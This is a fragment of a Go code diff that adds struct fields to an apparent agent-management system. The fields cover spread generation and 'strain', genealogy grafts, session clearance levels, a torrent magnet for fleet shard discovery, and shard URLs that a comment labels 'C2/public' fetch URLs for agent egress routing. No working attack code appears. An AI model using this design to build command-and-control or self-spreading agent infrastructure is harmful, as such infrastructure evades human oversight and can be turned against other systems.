if err := d.ensureSeerTables(); err != nil {
return fmt.Errorf("seer migration: %w", err)
}
for _, m := range extraMigrations {
if _, err := d.Exec(m); err != nil {
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)

View File

@@ -127,6 +127,11 @@ type Agent struct {
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
// Genealogy graft — court-approved strain splice from a tier-success sibling (telemetry only).
GraftSourceStrain string `json:"graft_source_strain,omitempty"`
GraftTier string `json:"graft_tier,omitempty"`
GraftApprovedAt *time.Time `json:"graft_approved_at,omitempty"`
// Session security clearance (L0L4); set live by WSHub, not persisted.
ClearanceLevel int `json:"clearance_level,omitempty"`

View File

@@ -91,6 +91,8 @@ type RouteRecommendation struct {
Score float64 `json:"score"`
Reason string `json:"reason,omitempty"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
SwarmMagnet string `json:"swarm_magnet,omitempty"`
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
}
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
@@ -106,6 +108,10 @@ type SpreadRouteHint struct {
ClearanceLevel int `json:"clearance_level,omitempty"`
// ErasureLanesEnabled signals parallel ReedSolomon lane redundancy on deploy plans.
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
// SwarmMagnet is the fleet torrent magnet link for erasure shard swarm discovery.
SwarmMagnet string `json:"swarm_magnet,omitempty"`
// ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints.
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
}
// RouteTable holds weighted edges and recommendations.